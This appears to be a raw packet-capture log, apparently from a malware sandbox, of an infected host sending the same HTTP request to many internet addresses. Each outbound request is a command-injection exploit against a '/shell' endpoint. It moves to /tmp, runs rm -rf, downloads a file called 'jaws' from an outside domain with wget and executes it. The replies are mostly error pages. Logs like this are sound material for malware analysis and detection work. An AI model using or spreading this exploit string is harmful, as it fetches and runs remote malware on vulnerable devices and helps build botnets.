Session ID	Source IP	Source Port	Destination IP	Destination Port
1842	192.168.2.13	52042	54.75.180.208	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.426300049 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.756211996 CEST	514	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:15 GMT Server: Apache X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=63072000; includeSubDomains Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1843	192.168.2.13	54376	39.106.2.90	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.437210083 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.785938978 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:15 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1844	192.168.2.13	49074	185.217.243.246	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.446505070 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.795902014 CEST	969	IN	HTTP/1.1 200 OK Server: nginx/1.22.0 Date: Sun, 14 Apr 2024 02:01:15 GMT Content-Type: text/html Content-Length: 669 Connection: close ETag: "661b38a4-29d" Cache-Control: no-cache, no-store, must-revalidate Expires: 0 Pragma: no-cache Last-Modified: -1 Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 61 2c 61 3a 76 69 73 69 74 65 64 2c 61 3a 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 23 30 36 39 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 33 39 66 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 30 36 39 7d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 65 72 64 61 6e 61 2c 61 72 69 61 6c 2c 68 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 3c 2f 73 74 79 6c 65 3e 3c 74 69 74 6c 65 3e 50 6c 65 61 73 65 20 77 61 69 74 2c 20 74 68 65 20 70 61 67 65 20 69 73 20 6f 70 65 6e 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 32 31 33 2e 39 31 2e 31 33 36 2e 31 2f 30 2f 75 70 2f 22 3e 50 6c 65 61 73 65 20 77 61 69 74 2c 20 74 68 65 20 70 61 67 65 20 69 73 20 6f 70 65 6e 69 6e 67 2e 2e 2e 3c 62 72 3e 3c 62 72 3e 49 66 20 69 74 20 64 6f 65 73 20 6e 6f 74 20 6f 70 65 6e 2c 20 63 6c 69 63 6b 20 68 65 72 65 2e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 73 65 74 54 69 6d 65 6f 75 74 28 22 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 27 68 74 74 70 3a 2f 2f 32 31 33 2e 39 31 2e 31 33 36 2e 31 2f 30 2f 75 70 2f 27 3b 22 2c 32 30 30 30 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><style type="text/css">a,a:visited,a:active{color:#069}a:hover{color:#39f}body{background-color:#ccc;color:#069}p{font-family:verdana,arial,helvetica,sans;font-size:20px;text-align:center}</style><title>Please wait, the page is opening...</title></head><body><p><a href="http://213.91.136.1/0/up/">Please wait, the page is opening...<br><br>If it does not open, click here.</a><script type="text/javascript">setTimeout("window.location='http://213.91.136.1/0/up/';",2000);</script></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1845	192.168.2.13	50490	186.39.211.134	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.463505983 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.827704906 CEST	484	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Date: Sun, 14 Apr 2024 02:01:12 GMT Connection: keep-alive Keep-Alive: timeout=60, max=1000 Content-Type: text/html X-Frame-Options: sameorigin X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; frame-ancestors 'self' Content-length: 130 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 30 20 2d 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Bad Request</TITLE></HEAD><BODY><H2>Access Error: 400 -- Bad Request</H2></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1846	192.168.2.13	35748	42.29.49.205	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.466685057 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.803570032 CEST	491	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 345 Date: Sun, 14 Apr 2024 02:01:12 GMT Server: lighttpd/1.4.20 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1847	192.168.2.13	52378	12.175.64.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.505682945 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.682279110 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 02:01:00 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1848	192.168.2.13	56148	185.81.0.63	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.756969929 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:16.121757030 CEST	1289	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Accept-Ranges: bytes Vary: Accept-Encoding Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Keep-Alive: timeout=1, max=100 Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 33 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 46 6f 72 62 69 64 64 65 6e 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34031 9Forbidden1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; }
Apr 14, 2024 04:01:16.121777058 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 Data Ascii: .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info,
Apr 14, 2024 04:01:16.121818066 CEST	1289	IN	Data Raw: 2e 61 64 64 69 74 69 6f 6e 61 6c 2d 69 6e 66 6f 2d 69 74 65 6d 73 20 75 6c 20 6c 69 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d Data Ascii: .additional-info-items ul li { width: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all
Apr 14, 2024 04:01:16.121838093 CEST	1289	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 Data Ascii: } .contact-info { font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .in
Apr 14, 2024 04:01:16.121856928 CEST	1289	IN	Data Raw: 51 55 7a 73 56 31 58 4b 46 54 7a 44 50 47 2b 4c 66 6f 4c 70 45 2f 4c 6a 4a 6e 7a 4f 30 38 51 43 41 75 67 4c 61 6c 4b 65 71 50 2f 6d 45 6d 57 36 51 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 53 54 46 Data Ascii: QUzsV1XKFTzDPG+LfoLpE/LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W
Apr 14, 2024 04:01:16.121876001 CEST	1289	IN	Data Raw: 6b 71 33 4e 5a 4e 4d 71 44 31 57 37 72 4d 6e 72 77 4a 65 51 45 6d 49 77 4b 73 61 63 4d 49 2f 54 56 4f 4c 6c 48 6a 51 6a 4d 31 59 56 74 56 51 33 52 77 68 76 4f 52 6f 33 63 6b 69 51 35 5a 4f 55 7a 6c 43 4f 4d 79 69 39 5a 2b 4c 58 52 45 68 53 35 69 Data Ascii: kq3NZNMqD1W7rMnrwJeQEmIwKsacMI/TVOLlHjQjM1YVtVQ3RwhvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fq
Apr 14, 2024 04:01:16.121929884 CEST	1233	IN	Data Raw: 55 56 32 4a 6f 70 37 58 79 58 62 73 77 39 30 4b 59 55 49 6e 6a 70 6b 52 63 65 63 57 66 6b 45 6d 64 43 41 65 68 67 75 65 75 54 6d 4e 74 2b 73 68 6b 52 65 4b 64 33 76 36 37 6e 50 39 63 4e 44 4a 48 76 6f 44 2b 2b 78 64 76 70 6f 76 58 4b 43 70 35 53 Data Ascii: UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdCAehgueuTmNt+shkReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfq
Apr 14, 2024 04:01:16.121977091 CEST	1289	IN	Data Raw: 33 37 0d 0a 34 30 33 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 0d 0a 38 38 0d 0a 46 6f 72 62 69 64 64 65 6e 3c 2f 73 70 61 6e 3e 0a Data Ascii: 37403</span> <span class="status-reason">88Forbidden</span> </section> <section class="contact-info"> Please forward this error screen to 1c127.0.0.1's <a href="mailto:3ecp
Apr 14, 2024 04:01:16.121994972 CEST	538	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 Data Ascii: </div> </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131403referral" target="cpanel"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1849	192.168.2.13	59152	187.26.218.114	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.770306110 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:16.776303053 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.792336941 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1850	192.168.2.13	47538	156.250.20.101	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.989465952 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1851	192.168.2.13	44628	141.17.83.105	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.672533989 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1852	192.168.2.13	51766	18.66.83.162	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.739938021 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
